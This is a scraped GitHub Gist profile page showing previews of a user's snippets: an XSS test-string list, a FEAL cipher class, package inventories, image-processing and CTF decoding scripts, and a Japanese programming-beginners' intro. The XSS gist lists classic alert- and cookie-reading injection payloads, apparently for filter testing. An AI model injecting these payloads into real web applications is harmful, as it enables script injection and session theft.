Skip to content

Instantly share code, notes, and snippets.

View hakatashi's full-sized avatar
🈚
idgaf

Koki Takahashi hakatashi

🈚
idgaf
View GitHub Profile
@hakatashi
hakatashi / xss.md
Last active August 29, 2015 14:07 — forked from ntddk/xss.md
  • '';!--"<XSS>=&{()}``\"
  • <script>alert(XSS);</script>
  • "><script>alert(XSS);</script>
  • <ScrIpt>alert(1);</SCript>
  • <a onmouseover="alert(document.cookie)">XSS</a>
  • <a onmouseover=alert(document.cookie)>XSS</a>
  • <<script>alert("XSS");//<</script>
  • <iframe src="javascript:alert('XSS');"></iframe>
  • <iframe src=# onmouseover="alert(document.cookie)"></iframe>
  • ``
import java.util.Arrays;
import edu.rit.util.Hex;
import edu.rit.util.Packing;
public class FEALCipher implements BlockCipher {
//Set up parameters and default values
public int R = 8;
byte deltaParam = 0;
int numOfSubKeys = (this.R + 8);
short[] subKey = new short[numOfSubKeys];
var Zip = require('node-7z');
var async = require('async');
var fs = require('fs');
var archive = new Zip();
// Polyfill String.prototype.endsWith
if (!String.prototype.endsWith) {
Object.defineProperty(String.prototype, 'endsWith', {
enumerable: false,
C:\Users\hakatashi>choco list -lo
7zip 9.22.01.20130618
7zip.commandline 9.20.0.20130618
7zip.install 9.22.01.20130618
AdobeAIR 15.0.0.249
adobereader 11.0.09.20140925
android-sdk 24.0.2
arduinoide 1.0.5.20140625
Atom 0.153.0
audacity 2.0.6
from PIL import Image
omote = Image.open('omote.png', 'r')
ura = Image.open('ura.png', 'r')
dest = Image.new('RGBA', omote.size)
(width, height) = omote.size
for x in range(width):
@hakatashi
hakatashi / hidden_decode.js
Last active August 29, 2015 14:19
Teaser CONFidence CTF 2015 - A PNG Tale
var fs = require('fs');
var hidden = fs.readFileSync('hidden.dat');
var ptr = 0;
for (var ptr = 0; ptr < hidden.length; ptr += 2401) {
process.stdout.write(hidden.readUInt8(ptr).toString());
}
@hakatashi
hakatashi / beginners2015.md
Last active August 29, 2015 14:20
TSG 初心者向け分科会 イントロダクション

TSG プログラミング初心者向け分科会 イントロダクション

お掃除お疲れ様です。 今回は趣味プログラマーの@hakatashiが、プログラミング初心者向けの最初の一歩を踏み出す手伝いをさせてもらいます。

今回の目標

  • GitHubなどにリポジトリを立ててバージョン管理しながら開発を進められる状態になる
  • TSGのサーバーにSSHでアクセスして作業できる状態になる
hakatashi@HAKATAPAD C:\Users\hakatashi
$ choco list -lo
Chocolatey v0.9.9.5
7zip 9.22.01.20130618
7zip.commandline 9.20.0.20130618
7zip.install 9.22.01.20130618
AdobeAIR 15.0.0.249
adobereader 11.0.10
android-sdk 24.0.2
arduinoide 1.6.1
Built-in Atom packages (85)
├── archive-view@0.56.0
├── atom-dark-syntax@0.26.0
├── atom-dark-ui@0.49.0
├── atom-light-syntax@0.26.0
├── atom-light-ui@0.41.0
├── autocomplete@0.46.0
├── autoflow@0.22.0
├── autosave@0.20.0
├── background-tips@0.24.0
# Simulate the solar irradiance from the earth
import numpy as np
from scipy.constants import *
# Prompt Solar Temperature (ideally around 5800K)
T = int(input('Temperature? '))
# Constants
Rsun = 6.96e8 # Solar radius (m)